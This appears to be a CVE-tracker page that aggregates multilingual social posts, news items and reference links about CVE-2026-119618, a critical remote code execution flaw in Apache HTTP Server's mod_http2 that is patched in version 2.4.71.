social infosec.exchange @116618909933540820 2026-11-13 18:15 UTCCVE-2026-119618: Critical Apache HTTP/2 Flaw Could Let Attackers Take Over Web Servers A critical flaw in Apache HTTP Server, one of the most widely used pieces of web server software in the world, could let an attacker on the internet tak…Open source
-
social bsky.app @ytroncal.bsky.social 2026-11-13 18:09 UTCApache corrige une faille critique dans HTTP/2 permettant l'exécution de code à distance sur les serveurs Web. La faille est répertoriée sous le numéro CVE-2026-119618 et affecte mod_http2. web.developpez.com/actu/389058/...Open source
-
social bsky.app @cvemon.bsky.social 2026-11-13 17:51 UTCCVE-2026-119618 is trending. Hype score 1, currently #10 on cvemon. Concurrent Execution using Shared Resource with Improper Synchronization vulnerability in Apache HTTP Server's mod_http2 in assign_headers() can lead to RCE. This issue af…Open source
-
social bsky.app @arno-spip.bsky.social 2026-11-13 17:01 UTCAh, et ce coup-ci c’est Apache qui a une belle alerte de sécurité: > A flaw was found in the mod_http2 module of the Apache HTTP Server (httpd), the standard web server used across Red Hat Enterprise Linux and other products. HTTP/2 allows…Open source
-
social bsky.app @digitalroyalty.bsky.social 2026-11-13 16:46 UTCApache says HTTP Server 2.4.71 fixes CVE-2026-119618, a critical HTTP/2 flaw that can lead to remote code execution on 2.4.55–2.4.70 with HTTP/2 enabled. Wiz knew of no attacks as of 11 Nov.Open source
-
social bsky.app 2026-11-13 16:01 UTCFaille critique dans Apache HTTP/2 (CVE-2026-119618) : un attaquant non authentifié peut exécuter du code à distance, selon Wiz. Versions 2.4.55 à 2.4.70 affectées, correctif dans la 2.4.71. www.it-connect.fr/faille-apach... #cybersécurité…Open source
-
social bsky.app @sambowne.infosec.exchange.ap.brid.gy 2026-11-13 15:52 UTCCritical Apache HTTP/2 Flaw Could Let Unauthenticated Attackers Execute Code Remotely https://thehackernews.com/2026/11/critical-apache-http2-flaw-could-let.htmlOpen source
-
social bsky.app @cybernewsdaily.bsky.social 2026-11-13 15:35 UTCApache Server vulnerability CVE-2026-119618 & Microsoft services outage globally impact critical infras Can someone send email as you? Free check. https://www.ProNetCyber.com/email/?utm_source=bluesky&utm_medium=post&utm_campaign=news-cybe…Open source
-
news socprime.com 2026-11-13 15:13 UTCCVE-2026-119618: Critical Apache HTTP/2 RCE - SOC PrimeOpen source
-
social bsky.app @patrickcmiller.bsky.social 2026-11-13 15:12 UTCApache Patches Critical HTTP Server RCE Found by Anthropic, Google www.securityweek.com/apache-patch...Open source
-
social bsky.app @thiagolopesdev.bsky.social 2026-11-13 14:49 UTCFalha crítica no Apache HTTP Server pode permitir execução remota de código. A correção já foi publicada. A vulnerabilidade está no módulo HTTP/2 e foi rastreada como CVE-2026-119618. Versões de 2.4.55 até 2.4.70 são afetadas. Segundo a Wi…Open source
-
social bsky.app @securestep9.bsky.social 2026-11-13 14:21 UTC#Apache Patches Critical HTTP Server #RCE #Vulnerability. The mod_http2 race condition, CVE-2026-119618, could let unauthenticated attackers execute code on servers with HTTP/2 enabled: 👇 www.securityweek.com/apache-patch...Open source
-
social infosec.exchange @securestep9 2026-11-13 14:21 UTC# Apache Patches Critical HTTP Server # RCE # Vulnerability . The mod_http2 race condition, CVE-2026-119618, could let unauthenticated attackers execute code on servers with HTTP/2 enabled: 👇 https://www. securityweek.com/apache-patche s-c…Open source
-
social bsky.app @cysecuritynews.bsky.social 2026-11-13 14:15 UTCApache HTTP/2 Security Flaw Exposes Servers to Critical Remote Code Execution Attacks #Apache #ApacheServerAttack #ApacheVulnerabilityOpen source
-
social mastodon.social @117374177977701540 2026-11-13 13:14 UTCPrivacy & security, Fri, Nov 13: • Critical RCE Vulnerability in Apache HTTP Server https://www. wiz.io/blog/cve-2026-119618-rc e-apache-http-server-vulnerability • TSMC Hacked https://www. sec.gov/Archives/edgar/data/10 46179/000104617926…Open source
-
advisory socradar.io 2026-11-13 12:38 UTCCVE-2026-119618: Apache HTTP/2 Race Condition RCE - SOCRadarOpen source
-
social bsky.app @0daynews.bsky.social 2026-11-13 12:30 UTCmod_http2 update needed: apache 2.4.71 patches critical RCE flaw. Servers with HTTP/2 active are at risk. CVE-2026-119618 resolved. #infosec https://0daynews.com/articles/2026-11-13-apache-http-server-mod-http2-rce-patched/Open source
-
social infosec.exchange @securityfeed 2026-11-13 11:50 UTC🔒 Security News Digest - 2026-11-13 📊 20 updates from 6 sources: 🔹 SecurityWeek: FBI Says US Seized $1.2 Billion Worth of Cryptocurrency Stolen From Binance https://www. securityweek.com/fbi-says-us-s eized-1-2-billion-worth-of-cryptocurre…Open source
-
social bsky.app @chycox.ovh 2026-11-13 11:10 UTCApache HTTP Server : CVE-2026-119618 dans mod_http2 blog.chycox.ovh/posts/apache...Open source
-
social bsky.app @newssecia.bsky.social 2026-11-13 11:09 UTC🤖 CVE-2026-119618: unauthenticated RCE in Apache httpd HTTP/2 (2.4.55–2.4.70). Concurrent-execution flaw lets attackers run code with httpd privileges. Patched, but many public servers still exposed. https://httpd.apache.org/security/vulne…Open source
-
social infosec.exchange @cloud 2026-11-13 11:09 UTC🤖 CVE-2026-119618: unauthenticated RCE in Apache httpd's HTTP/2 module (mod_h2), versions 2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42. Concurrent-execution flaw lets an attacker execute code with the httpd process privileges. Fix released, but a l…Open source
-
social bsky.app @stackwatch.de 2026-11-13 10:37 UTCCVE-2026-119618, Apache mod_http2, laut Apache kritisch (RCE). Betroffen 2.4.55 bis 2.4.70, Fix 2.4.71. Kein Workaround, nur das Update. Prüfen: apachectl -M | grep http2. Quelle: httpd.apache.org/security/vul... Video und Stimme: KI-gener…Open source
-
social bsky.app @outages.live 2026-11-13 09:15 UTC🔴 Akamai: Customer Security Advisory: Remote code execution vulnerability in the Apache HTTP Server's HTTP/2 module Akamai reports a remote code execution vulnerability in the Apache HTTP Server HTTP/2 module, tracked as… Major outage · 2…Open source
-
social bsky.app @pmloik.bsky.social 2026-11-13 08:42 UTCTop 3 CVE for last 7 days: CVE-2026-69420: 155 interactions CVE-2026-123158: 89 interactions CVE-2026-98432: 82 interactions Top 3 CVE for yesterday: CVE-2026-69420: 155 interactions CVE-2026-119618: 34 interactions CVE-2026-118383: 18 int…Open source
-
social bsky.app @ytroncal.bsky.social 2026-11-13 07:57 UTCCVE-2026-119618 : Critical Apache mod_http2 Flaw Allows Unauthenticated Remote Code Execution. In Apache HTTP Server's HTTP/2 module lets an unauthenticated attacker take control of the server process on versions 2.4.55 through 2.4.70 thre…Open source
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-119618 |
| httpd.apache.org |
GitHub CVE
vendor-advisory
|
https://httpd.apache.org/security/vulnerabilities_24.html |
| openwall.com |
NVD API
Mailing List
Third Party Advisory
|
http://www.openwall.com/lists/oss-security/2026/11/11/13 |
| access.redhat.com |
NVD API
Third Party Advisory
|
https://access.redhat.com/security/cve/cve-2026-119618 |
| bugs.gentoo.org |
NVD API
Issue Tracking
Third Party Advisory
|
https://bugs.gentoo.org/986161 |
| github.com |
NVD API
Issue Tracking
|
https://github.com/AlmaLinux/updates/issues/4252 |
| github.com |
NVD API
Patch
|
https://github.com/microsoft/azurelinux/pull/20165 |
| ubuntu.com |
NVD API
Third Party Advisory
|
https://ubuntu.com/security/CVE-2026-119618 |
| wiz.io |
NVD API
Mitigation
Third Party Advisory
|
https://www.wiz.io/blog/cve-2026-119618-rce-apache-http-server-vulnerability |